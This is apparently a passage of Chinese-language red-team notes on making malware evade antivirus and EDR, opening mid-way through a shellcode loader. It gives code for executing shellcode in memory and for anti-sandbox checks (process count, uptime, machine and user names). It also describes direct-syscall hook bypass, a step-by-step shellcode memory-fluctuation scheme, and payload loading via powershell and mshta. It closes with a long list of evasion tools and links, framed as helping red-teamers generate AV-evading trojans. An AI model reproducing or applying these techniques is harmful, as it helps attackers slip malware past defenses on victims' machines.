VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
typedef void(*some_one)();
some_one func = (some_one)exec;
func();
return 0;
}
杀软在检测程序的时候会对诸如文件的描述、版本号、创建日期作为特征检测,可用restorator对目标修改资源文件。比如:加资源、替换资源、加签名等等
利用一些系统自带的白程序加载payload,例如powershell、mshta等等…
添加无危害的代码执行流程扰乱杀软分析 比如延迟执行代码 绕过沙箱
各种安全产品会在用户模式API函数中放置钩子,这就允许它们将执行数据流重定向到它们的引擎并检测可疑行为。
ntdll.dll中能够执行系统调用的函数仅由几个汇编指令组成,因此我们可以在自己的移植程序中重新实现它们以绕过这些安全产品设置的钩子。
在SysWhispers的帮助下,红队研究人员可以在核心内核映像(ntoskrnl.exe)中针对任何系统调用生成Header/ASM文件,Header中还会包含必要的类型定义。
将shellcode 内存页 反复变换
CS 异步 执行命令
RW 只读
RX 执行
- HOOK sleep 到自己的回调
- VirtualAlloc + memcpy + CreateThread注入线程启动shellcode
- 休眠 自己的回调会被调用
- 在回调中加密内存 内存页面属性 改成 RW只读
- 脱钩子 睡眠 也防止检测 继续 beacon sleep
- 解密shellcode RW改成RX 在 挂上钩子
NoACCESS - RX
- 资源释放 shellcode 获取
- HOOK 到自己的回调
- VirtualAlloc + memcpy + CreateThread注入线程启动shellcode
- 初始化向量异常处理程序 VEH 设置自己的处理程序 捕捉访问冲突 异常
- 休眠即调用我们的回调
- 加密 Beacon 内存 内存属性到 PAGE_NOACCESS
- 脱钩子
- 进入睡眠
- 休眠结束 重新 HOOK
- shellcode尝试恢复运行 触发0xc0000005 访问异常
- windows 异常分发机制 分发给 全局的VEH 捕获到异常
- shellcode解密 翻转为RX
- 在处理函数中 return EXCEPTION_CONTINUE_EXCUTION
- 恢复shellcode执行
异常处理 获取上下文 一开始就PAGE_NOACCESS
就从开始位置 执行
不用修改 指令指针
任何时候都至少有50个进程在运行。
DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;
ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 分钟
默认机器名称都是遵循DESKTOP-[0-9A-Z]{7}(或其他具有随机字符的类似模式),
我们可以将这些名称与已知的字符串进行比较
//检查计算机名
DWORD computerNameLength = MAX_COMPUTERNAME_LENGTH;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;
//检查用户名
DWORD userNameLength = UNLEN;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;
msf自捆绑+自编码
msf多重编码
Evasion exe.hta.csc
Veil原生exe
veil+gcc编译
venom生成exe
venom生成dll
shellter免杀
https://www.shellterproject.com/
backDoor-Factory
BDF+shellcode
Avet免杀
TheFatRat:Ps1-exe
TheFatRat:加壳exe
TheFatRat:C#-exe
Avoidz:C#-exe
Avoidz:py-exe
Avoidz:go-exe
Green-Hat-Suite
ZiriKatu免杀
AVIator免杀
DMKC免杀
Unicorn免杀
python-Rootkit免杀
ASWCrypter免杀
nps_payload免杀
GreatSct免杀
国外C2
https://github.com/trustedsec/trevorc2
国外混淆器
https://github.com/CBHue/PyFuscation
Windows下基础免杀技术
https://mp.weixin.qq.com/s/pR4h0sbPZBjMn6_x_B4J5w
杀软的进程
https://github.com/wgetnz/avList
具有 EDR 规避功能的自动 DLL 旁加载工具
https://github.com/georgesotiriadis/Chimera
SysWhispers2:通过直接系统调用实现AVEDR绕过
https://www.freebuf.com/sectool/262019.html
C/C++ 实现ShellCode编写与提取
https://blog.csdn.net/lyshark_csdn/article/details/124939100
黑客免杀攻防.pdf
免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)
https://anhkgg.com/aanti-virus/
一种先进的内存规避技术,可在 RW/NoAccess 和 RX 之间波动 shellcode 的内存保护
https://github.com/mgeeky/ShellcodeFluctuation
实现基础原理:参考之前鑫哥写的免杀文章:常用工具免杀-助你护网 https://mp.weixin.qq.com/s/HBLpmCAoPRzvWq5akmLBTw
助力每一位RT队员,快速生成免杀木马
https://github.com/wangfly-me/LoaderFly